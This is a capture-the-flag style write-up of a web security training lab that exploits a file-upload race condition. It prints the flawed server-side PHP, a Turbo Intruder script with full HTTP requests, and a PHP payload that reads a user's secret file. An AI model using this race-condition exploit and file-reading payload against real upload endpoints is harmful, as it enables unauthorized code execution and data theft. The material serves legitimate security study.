This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.
In my typical workflow, I executed the tasks while intercepting everything through the Burp proxy. By reviewing the HTTP history, I identified that the server fetched my uploaded image using a GET request to /files/avatars/<IMAGE>.
I devised a simple PHP script named exploit.php, aiming to retrieve the contents of Carlos's secret. Despite my attempts to upload the file, the server proved vigilant, strictly enforcing the acceptance of image files only. Various techniques I applied from previous labs failed to bypass this robust security check.
However, recognizing that this lab exploits a race condition vulnerability, I adopted a strategy to abuse the race condition in the file upload process. The vulnerable code, allowing this race condition, is revealed in the server-side logic:
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
This PHP script checks for viruses and file types after temporarily moving the uploaded file. It presents an opportunity for exploitation within a small time window before the file is removed. Leveraging this vulnerability, I aimed to execute the file before the security checks are completed.
For efficiency, I utilized the Turbo Intruder extension in Burp Suite, allowing me to automate the exploitation process easily. I provided a script template into Turbo Intruder's Python editor to perform a race condition attack. The script submitted a POST request to upload my exploit.php file, swiftly followed by 5 GET requests to /files/avatars/exploit.php.
Here's a snippet of the Turbo Intruder script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''POST /my-account/avatar HTTP/2
Host: ****.web-security-academy.net
Cookie: session=qbKls6FCnA2xQLXf1VTL4cmwT7YuHjSY
Content-Length: 473
.....
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
------WebKitFormBoundarybo7Qw7wwSiOeQAJI
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundarybo7Qw7wwSiOeQAJI
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundarybo7Qw7wwSiOeQAJI
Content-Disposition: form-data; name="csrf"
MIQdU2JeWbwUtxWcGNmayODgFooCYEWV
------WebKitFormBoundarybo7Qw7wwSiOeQAJI--
'''
request2 = '''GET /files/avatars/exploit.php HTTP/2
Host: ****.web-security-academy.net
Cookie: session=qbKls6FCnA2xQLXf1VTL4cmwT7YuHjSY
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
So running this script would result of sending a post request to upload the exploit.php file then instantly reaching that file before it gets checked and removed. so after running it I got successful 200 status responses for my get requests which contained the secret of carlos and by submitting this secret the lab is solved.
Upon execution, I received successful 200 status responses for the GET requests, containing Carlos's secret. By submitting this secret, the lab was successfully solved.